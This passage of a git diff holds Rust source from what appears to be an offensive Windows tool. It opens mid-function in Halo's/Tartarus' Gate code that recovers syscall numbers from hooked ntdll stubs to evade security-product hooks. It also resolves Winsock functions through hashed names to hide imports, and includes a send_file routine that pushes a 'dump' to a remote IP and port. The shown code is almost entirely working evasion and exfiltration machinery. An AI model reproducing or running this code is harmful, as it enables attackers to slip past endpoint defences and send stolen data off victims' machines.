let high = address.offset(5 + idx as isize * UP).read() as u16;
|
||||
let low = address.offset(4 + idx as isize * UP).read() as u16;
|
||||
return (high << 8) | (low.wrapping_add(idx as u16));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Tartarus' Gate: Another method to bypass hooked syscalls
|
||||
if address.add(3).read() == 0xe9 {
|
||||
for idx in 1..500 {
|
||||
// Check downwards for a clean syscall instruction
|
||||
if address.add(idx * DOWN).read() == 0x4c
|
||||
&& address.add(1 + idx * DOWN).read() == 0x8b
|
||||
&& address.add(2 + idx * DOWN).read() == 0xd1
|
||||
&& address.add(3 + idx * DOWN).read() == 0xb8
|
||||
&& address.add(6 + idx * DOWN).read() == 0x00
|
||||
&& address.add(7 + idx * DOWN).read() == 0x00
|
||||
{
|
||||
let high = address.add(5 + idx * DOWN).read() as u16;
|
||||
let low = address.add(4 + idx * DOWN).read() as u16;
|
||||
return (high << 8) | (low.wrapping_sub(idx as u16));
|
||||
}
|
||||
|
||||
// Check upwards for a clean syscall instruction
|
||||
if address.offset(idx as isize * UP).read() == 0x4c
|
||||
&& address.offset(1 + idx as isize * UP).read() == 0x8b
|
||||
&& address.offset(2 + idx as isize * UP).read() == 0xd1
|
||||
&& address.offset(3 + idx as isize * UP).read() == 0xb8
|
||||
&& address.offset(6 + idx as isize * UP).read() == 0x00
|
||||
&& address.offset(7 + idx as isize * UP).read() == 0x00
|
||||
{
|
||||
let high = address.offset(5 + idx as isize * UP).read() as u16;
|
||||
let low = address.offset(4 + idx as isize * UP).read() as u16;
|
||||
return (high << 8) | (low.wrapping_add(idx as u16));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
use super::def::{find_peb, OSVersionInfo};
|
||||
|
||||
#[cfg(not(feature = "remote"))]
|
||||
use crate::{common::utils::unicodestring_to_string, ntapi::def::RtlUserProcessParameters};
|
||||
#[cfg(not(feature = "remote"))]
|
||||
use alloc::string::String;
|
||||
|
||||
pub unsafe fn rtl_get_version(lp_version_information: &mut OSVersionInfo) -> i32 {
|
||||
// Get the pointer to the PEB
|
||||
let peb = find_peb();
|
||||
|
||||
if lp_version_information.dw_os_version_info_size
|
||||
!= core::mem::size_of::<OSVersionInfo>() as u32
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Fill in the version information from the PEB
|
||||
lp_version_information.dw_major_version = (*peb).os_major_version;
|
||||
lp_version_information.dw_minor_version = (*peb).os_minor_version;
|
||||
lp_version_information.dw_build_number = (*peb).os_build_number;
|
||||
lp_version_information.dw_platform_id = (*peb).os_platform_id;
|
||||
lp_version_information.sz_csd_version.fill(0);
|
||||
|
||||
0
|
||||
}
|
||||
|
||||
/// Retrieves the current working directory of the process by accessing the Process Environment Block (PEB).
|
||||
#[cfg(not(feature = "remote"))]
|
||||
pub fn get_current_directory() -> String {
|
||||
unsafe {
|
||||
let peb = find_peb();
|
||||
if !peb.is_null() {
|
||||
let process_parameters = (*peb).process_parameters as *mut RtlUserProcessParameters;
|
||||
let cur_dir = &mut process_parameters.as_mut().unwrap().current_directory_path;
|
||||
|
||||
let dir_str = unicodestring_to_string(&(*cur_dir));
|
||||
if dir_str.is_some() {
|
||||
return dir_str.unwrap();
|
||||
}
|
||||
}
|
||||
}
|
||||
String::new()
|
||||
}
|
||||
|
||||
/// Builds an NT path based on the current working directory (cwd) and a file name.
|
||||
#[cfg(not(feature = "remote"))]
|
||||
pub fn build_nt_path<'a>(cwd: &str, file_name: &str, buffer: &'a mut [u8]) -> &'a str {
|
||||
let mut offset = 0;
|
||||
|
||||
let nt_prefix = b"\\??\\";
|
||||
if nt_prefix.len() > buffer.len() {
|
||||
// debug_println!("[-] Buffer too small to hold NT prefix.");
|
||||
return "";
|
||||
}
|
||||
buffer[offset..offset + nt_prefix.len()].copy_from_slice(nt_prefix);
|
||||
offset += nt_prefix.len();
|
||||
|
||||
let cwd_bytes = cwd.as_bytes();
|
||||
if offset + cwd_bytes.len() > buffer.len() {
|
||||
// debug_println!("[-] Buffer too small to hold current working directory.");
|
||||
return "";
|
||||
}
|
||||
buffer[offset..offset + cwd_bytes.len()].copy_from_slice(cwd_bytes);
|
||||
offset += cwd_bytes.len();
|
||||
|
||||
let file_name_bytes = file_name.as_bytes();
|
||||
if offset + file_name_bytes.len() > buffer.len() {
|
||||
// debug_println!("[-] Buffer too small to hold file name.");
|
||||
return "";
|
||||
}
|
||||
buffer[offset..offset + file_name_bytes.len()].copy_from_slice(file_name_bytes);
|
||||
offset += file_name_bytes.len();
|
||||
|
||||
if let Ok(result_str) = core::str::from_utf8(&buffer[..offset]) {
|
||||
result_str
|
||||
} else {
|
||||
// debug_println!("[-] Failed to convert buffer to UTF-8 string.");
|
||||
""
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod winsock;
|
||||
@@ -0,0 +1,394 @@
|
||||
#[cfg(feature = "verbose")]
|
||||
use libc_print::libc_println;
|
||||
|
||||
use alloc::ffi::CString;
|
||||
use alloc::vec::Vec;
|
||||
|
||||
use core::{
|
||||
ffi::c_void,
|
||||
mem::{transmute, zeroed},
|
||||
ptr::{null, null_mut},
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
};
|
||||
|
||||
use crate::common::ldrapi::ldr_function;
|
||||
use crate::ntapi::def::UnicodeString;
|
||||
use crate::ntapi::g_instance::instance;
|
||||
|
||||
use crate::debug_println;
|
||||
|
||||
// Data structures for Winsock
|
||||
#[repr(C)]
|
||||
pub struct WsaData {
|
||||
pub w_version: u16,
|
||||
pub w_high_version: u16,
|
||||
pub sz_description: [i8; 257],
|
||||
pub sz_system_status: [i8; 129],
|
||||
pub i_max_sockets: u16,
|
||||
pub i_max_udp_dg: u16,
|
||||
pub lp_vendor_info: *mut i8,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct SockAddrIn {
|
||||
pub sin_family: u16,
|
||||
pub sin_port: u16,
|
||||
pub sin_addr: InAddr,
|
||||
pub sin_zero: [i8; 8],
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct InAddr {
|
||||
pub s_addr: u32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct SockAddr {
|
||||
pub sa_family: u16,
|
||||
pub sa_data: [i8; 14],
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct AddrInfo {
|
||||
pub ai_flags: i32,
|
||||
pub ai_family: i32,
|
||||
pub ai_socktype: i32,
|
||||
pub ai_protocol: i32,
|
||||
pub ai_addrlen: u32,
|
||||
pub ai_canonname: *mut i8,
|
||||
pub ai_addr: *mut SockAddr,
|
||||
pub ai_next: *mut AddrInfo,
|
||||
}
|
||||
|
||||
// Define function types for Winsock functions
|
||||
type WSAStartupFunc =
|
||||
unsafe extern "system" fn(wVersionRequested: u16, lpWsaData: *mut WsaData) -> i32;
|
||||
type WSACleanupFunc = unsafe extern "system" fn() -> i32;
|
||||
type SocketFunc = unsafe extern "system" fn(af: i32, socket_type: i32, protocol: i32) -> SOCKET;
|
||||
type ConnectFunc = unsafe extern "system" fn(s: SOCKET, name: *const SockAddr, namelen: i32) -> i32;
|
||||
type SendFunc = unsafe extern "system" fn(s: SOCKET, buf: *const i8, len: i32, flags: i32) -> i32;
|
||||
type RecvFunc = unsafe extern "system" fn(s: SOCKET, buf: *mut i8, len: i32, flags: i32) -> i32;
|
||||
type ClosesocketFunc = unsafe extern "system" fn(s: SOCKET) -> i32;
|
||||
type InetAddrFunc = unsafe extern "system" fn(cp: *const i8) -> u32;
|
||||
type HtonsFunc = unsafe extern "system" fn(hostshort: u16) -> u16;
|
||||
type GetAddrInfoFunc = unsafe extern "system" fn(
|
||||
node: *const i8,
|
||||
service: *const i8,
|
||||
hints: *const AddrInfo,
|
||||
res: *mut *mut AddrInfo,
|
||||
) -> i32;
|
||||
type FreeAddrInfoFunc = unsafe extern "system" fn(res: *mut AddrInfo);
|
||||
|
||||
type WSAGetLastError = unsafe extern "system" fn() -> i32;
|
||||
|
||||
// Structure to hold function pointers
|
||||
pub struct Winsock {
|
||||
pub wsa_startup: WSAStartupFunc,
|
||||
pub wsa_cleanup: WSACleanupFunc,
|
||||
pub socket: SocketFunc,
|
||||
pub connect: ConnectFunc,
|
||||
pub send: SendFunc,
|
||||
pub recv: RecvFunc,
|
||||
pub closesocket: ClosesocketFunc,
|
||||
pub inet_addr: InetAddrFunc,
|
||||
pub htons: HtonsFunc,
|
||||
pub getaddrinfo: GetAddrInfoFunc,
|
||||
pub freeaddrinfo: FreeAddrInfoFunc,
|
||||
pub wsa_get_last_error: WSAGetLastError,
|
||||
}
|
||||
|
||||
impl Winsock {
|
||||
// Function to initialize the Winsock structure with null values
|
||||
pub fn new() -> Self {
|
||||
Winsock {
|
||||
wsa_startup: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
|
||||
wsa_cleanup: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
|
||||
socket: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
|
||||
connect: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
|
||||
send: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
|
||||
recv: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
|
||||
closesocket: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
|
||||
inet_addr: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
|
||||
htons: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
|
||||
getaddrinfo: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
|
||||
freeaddrinfo: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
|
||||
wsa_get_last_error: unsafe {
|
||||
core::mem::transmute(core::ptr::null::<core::ffi::c_void>())
|
||||
},
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Global variable to store Winsock functions
|
||||
static mut WINSOCK_FUNCS: Option<Winsock> = None;
|
||||
// Atomic variable to track if Winsock functions have been initialized
|
||||
static INIT_WINSOCKS: AtomicBool = AtomicBool::new(false);
|
||||
|
||||
/// Initializes Winsock functions.
|
||||
///
|
||||
/// This function dynamically loads the Winsock functions from the "ws2_32.dll" library.
|
||||
/// It ensures that the functions are loaded only once using atomic operations.
|
||||
/// The function does not return any values.
|
||||
pub fn init_winsock_funcs() {
|
||||
unsafe {
|
||||
if !INIT_WINSOCKS.load(Ordering::Acquire) {
|
||||
// Constants representing hash values of Winsock function names
|
||||
pub const WSA_STARTUP_DBJ2: usize = 0x142e89c3;
|
||||
pub const WSA_CLEANUP_DBJ2: usize = 0x32206eb8;
|
||||
pub const SOCKET_DBJ2: usize = 0xcf36c66e;
|
||||
pub const CONNECT_DBJ2: usize = 0xe73478ef;
|
||||
pub const SEND_DBJ2: usize = 0x7c8bc2cf;
|
||||
pub const RECV_DBJ2: usize = 0x7c8b3515;
|
||||
pub const CLOSESOCKET_DBJ2: usize = 0x185953a4;
|
||||
pub const INET_ADDR_DBJ2: usize = 0xafe73c2f;
|
||||
pub const HTONS_DBJ2: usize = 0xd454eb1;
|
||||
pub const GETADDRINFO_DBJ2: usize = 0x4b91706c;
|
||||
pub const FREEADDRINFO_DBJ2: usize = 0x307204e;
|
||||
pub const WSAGETLASTERROR_H: usize = 0x9c1d912e;
|
||||
|
||||
let dll_name = "ws2_32.dll";
|
||||
let mut ws2_win32_dll_unicode = UnicodeString::new();
|
||||
let utf16_string: Vec<u16> = dll_name.encode_utf16().chain(Some(0)).collect();
|
||||
ws2_win32_dll_unicode.init(utf16_string.as_ptr());
|
||||
|
||||
let mut ws2_win32_handle: *mut c_void = null_mut();
|
||||
|
||||
(instance().ntdll.ldr_load_dll)(
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
ws2_win32_dll_unicode,
|
||||
&mut ws2_win32_handle as *mut _ as *mut c_void,
|
||||
);
|
||||
|
||||
if ws2_win32_handle.is_null() {
|
||||
return;
|
||||
}
|
||||
|
||||
let ws2_32_module = ws2_win32_handle as *mut u8;
|
||||
|
||||
// Resolve function addresses using hashed names
|
||||
let wsa_startup_addr = ldr_function(ws2_32_module, WSA_STARTUP_DBJ2);
|
||||
let wsa_cleanup_addr = ldr_function(ws2_32_module, WSA_CLEANUP_DBJ2);
|
||||
let socket_addr = ldr_function(ws2_32_module, SOCKET_DBJ2);
|
||||
let connect_addr = ldr_function(ws2_32_module, CONNECT_DBJ2);
|
||||
let send_addr = ldr_function(ws2_32_module, SEND_DBJ2);
|
||||
let recv_addr = ldr_function(ws2_32_module, RECV_DBJ2);
|
||||
let closesocket_addr = ldr_function(ws2_32_module, CLOSESOCKET_DBJ2);
|
||||
let inet_addr_addr = ldr_function(ws2_32_module, INET_ADDR_DBJ2);
|
||||
let htons_addr = ldr_function(ws2_32_module, HTONS_DBJ2);
|
||||
let getaddrinfo_addr = ldr_function(ws2_32_module, GETADDRINFO_DBJ2);
|
||||
let freeaddrinfo_addr = ldr_function(ws2_32_module, FREEADDRINFO_DBJ2);
|
||||
let wsa_get_last_error_addr = ldr_function(ws2_32_module, WSAGETLASTERROR_H);
|
||||
|
||||
// Initialize Winsock functions
|
||||
let mut winsock_functions = Winsock::new();
|
||||
winsock_functions.wsa_startup = transmute(wsa_startup_addr);
|
||||
winsock_functions.wsa_cleanup = transmute(wsa_cleanup_addr);
|
||||
winsock_functions.socket = transmute(socket_addr);
|
||||
winsock_functions.connect = transmute(connect_addr);
|
||||
winsock_functions.send = transmute(send_addr);
|
||||
winsock_functions.recv = transmute(recv_addr);
|
||||
winsock_functions.closesocket = transmute(closesocket_addr);
|
||||
winsock_functions.inet_addr = transmute(inet_addr_addr);
|
||||
winsock_functions.htons = transmute(htons_addr);
|
||||
winsock_functions.getaddrinfo = transmute(getaddrinfo_addr);
|
||||
winsock_functions.freeaddrinfo = transmute(freeaddrinfo_addr);
|
||||
winsock_functions.wsa_get_last_error = transmute(wsa_get_last_error_addr);
|
||||
|
||||
// Store the functions in the global variable
|
||||
WINSOCK_FUNCS = Some(winsock_functions);
|
||||
|
||||
// Mark Winsock functions as initialized
|
||||
INIT_WINSOCKS.store(true, Ordering::Release);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Gets the Winsock functions.
|
||||
///
|
||||
/// This function ensures the Winsock functions are initialized and returns a reference to them.
|
||||
/// If the functions are not already initialized, it will initialize them first.
|
||||
///
|
||||
/// # Returns
|
||||
/// * `&'static Winsock` - A reference to the initialized Winsock functions.
|
||||
pub fn get_winsock() -> &'static Winsock {
|
||||
init_winsock_funcs();
|
||||
return unsafe { WINSOCK_FUNCS.as_ref().unwrap() };
|
||||
}
|
||||
|
||||
#[allow(non_camel_case_types)]
|
||||
pub type SOCKET = usize;
|
||||
|
||||
/// Cleans up the Winsock library.
|
||||
///
|
||||
/// This function cleans up the Winsock library, releasing any resources that were allocated.
|
||||
/// This function does not return any values.
|
||||
pub fn cleanup_winsock(sock: SOCKET) {
|
||||
unsafe {
|
||||
(get_winsock().closesocket)(sock);
|
||||
(get_winsock().wsa_cleanup)();
|
||||
}
|
||||
}
|
||||
|
||||
/// Initializes the Winsock library for network operations on Windows.
|
||||
/// Returns 0 on success, or the error code on failure.
|
||||
pub fn init_winsock() -> i32 {
|
||||
unsafe {
|
||||
let mut wsa_data: WsaData = core::mem::zeroed();
|
||||
let result = (get_winsock().wsa_startup)(0x0202, &mut wsa_data);
|
||||
if result != 0 {
|
||||
return (get_winsock().wsa_get_last_error)();
|
||||
}
|
||||
result
|
||||
}
|
||||
}
|
||||
|
||||
/// Creates a new TCP socket for network communication.
|
||||
/// Returns the socket descriptor (SOCKET) or an error code on failure.
|
||||
pub fn create_socket() -> SOCKET {
|
||||
unsafe {
|
||||
(get_winsock().socket)(2, 1, 6) // AF_INET, SOCK_STREAM, IPPROTO_TCP
|
||||
}
|
||||
}
|
||||
|
||||
/// Resolves a hostname to an IPv4 address.
|
||||
/// Returns the IPv4 address as a `u32` or an error code on failure.
|
||||
pub fn resolve_hostname(hostname: &str) -> u32 {
|
||||
unsafe {
|
||||
let hostname_cstr = CString::new(hostname).unwrap();
|
||||
let mut hints: AddrInfo = zeroed();
|
||||
hints.ai_family = 2; // AF_INET
|
||||
hints.ai_socktype = 1; // SOCK_STREAM
|
||||
let mut res: *mut AddrInfo = null_mut();
|
||||
|
||||
let status = (get_winsock().getaddrinfo)(hostname_cstr.as_ptr(), null(), &hints, &mut res);
|
||||
|
||||
if status != 0 {
|
||||
return (get_winsock().wsa_get_last_error)() as u32;
|
||||
}
|
||||
|
||||
let mut ip_addr: u32 = 0;
|
||||
let mut addr_info_ptr = res;
|
||||
|
||||
while !addr_info_ptr.is_null() {
|
||||
let addr_info = &*addr_info_ptr;
|
||||
if addr_info.ai_family == 2 {
|
||||
// AF_INET
|
||||
let sockaddr_in = &*(addr_info.ai_addr as *const SockAddrIn);
|
||||
ip_addr = sockaddr_in.sin_addr.s_addr;
|
||||
break;
|
||||
}
|
||||
addr_info_ptr = addr_info.ai_next;
|
||||
}
|
||||
|
||||
(get_winsock().freeaddrinfo)(res);
|
||||
ip_addr
|
||||
}
|
||||
}
|
||||
|
||||
/// Connects a socket to a given address and port.
|
||||
/// Returns 0 on success, or the error code on failure.
|
||||
pub fn connect_socket(sock: SOCKET, addr: &str, port: u16) -> i32 {
|
||||
unsafe {
|
||||
let addr = if addr == "localhost" {
|
||||
"127.0.0.1"
|
||||
} else {
|
||||
addr
|
||||
};
|
||||
|
||||
let resolve_addr = resolve_hostname(addr);
|
||||
let mut sockaddr_in: SockAddrIn = core::mem::zeroed();
|
||||
sockaddr_in.sin_family = 2; // AF_INET
|
||||
sockaddr_in.sin_port = (get_winsock().htons)(port);
|
||||
sockaddr_in.sin_addr.s_addr = resolve_addr;
|
||||
|
||||
let sockaddr = &sockaddr_in as *const _ as *const SockAddr;
|
||||
let result =
|
||||
(get_winsock().connect)(sock, sockaddr, core::mem::size_of::<SockAddrIn>() as i32);
|
||||
|
||||
if result != 0 {
|
||||
return (get_winsock().wsa_get_last_error)();
|
||||
}
|
||||
result
|
||||
}
|
||||
}
|
||||
|
||||
/// Sends a request through a socket.
|
||||
///
|
||||
/// This function sends a request through the specified socket.
|
||||
/// It returns a `Result` indicating whether the send operation was successful or not.
|
||||
///
|
||||
/// # Arguments
|
||||
/// * `sock` - The socket descriptor.
|
||||
/// * `request` - The request data to be sent.
|
||||
pub fn send_request(sock: SOCKET, request: &[u8]) -> i32 {
|
||||
unsafe {
|
||||
let result =
|
||||
(get_winsock().send)(sock, request.as_ptr() as *const i8, request.len() as i32, 0);
|
||||
if result != 0 {
|
||||
return (get_winsock().wsa_get_last_error)();
|
||||
}
|
||||
result
|
||||
}
|
||||
}
|
||||
|
||||
/// Sends a Vec<u8> to a remote address and port via socket.
|
||||
///
|
||||
/// # Arguments
|
||||
/// * `data` - The data to be sent as a Vec<u8>.
|
||||
/// * `ip` - The remote IP address as a string (e.g., "127.0.0.1").
|
||||
/// * `port` - The port to connect to.
|
||||
pub fn send_file(data: Vec<u8>, ip: &str, port: u16) {
|
||||
// Initialize Winsock.
|
||||
let wsa_init_result = init_winsock();
|
||||
if wsa_init_result != 0 {
|
||||
debug_println!(
|
||||
"[-] Failed to initialize Winsock with error: {}",
|
||||
wsa_init_result
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
// Create a socket.
|
||||
let sock = create_socket();
|
||||
if sock == usize::MAX {
|
||||
unsafe {
|
||||
let _error = (get_winsock().wsa_get_last_error)();
|
||||
debug_println!("[-] Failed to create socket. Winsock error: {}", _error);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// Connect the socket to the IP and port.
|
||||
let connect_result = connect_socket(sock, ip, port);
|
||||
if connect_result != 0 {
|
||||
debug_println!(
|
||||
"[-] Failed to connect socket to {}:{} with error: {}",
|
||||
ip,
|
||||
port,
|
||||
connect_result
|
||||
);
|
||||
cleanup_winsock(sock);
|
||||
return;
|
||||
}
|
||||
|
||||
// Send the data.
|
||||
let send_result = send_request(sock, &data);
|
||||
|
||||
// Check if sending the file was successful.
|
||||
if send_result != 0 {
|
||||
debug_println!(
|
||||
"[-] Failed to send data to {}:{} with error: {}",
|
||||
ip,
|
||||
port,
|
||||
send_result
|
||||
);
|
||||
cleanup_winsock(sock);
|
||||
return;
|
||||
}
|
||||
|
||||
// Close the socket.
|
||||
cleanup_winsock(sock);
|
||||
|
||||
debug_println!("[+] Dump sent successfully to remote host");
|
||||
}
|
||||
Reference in New Issue
Block a user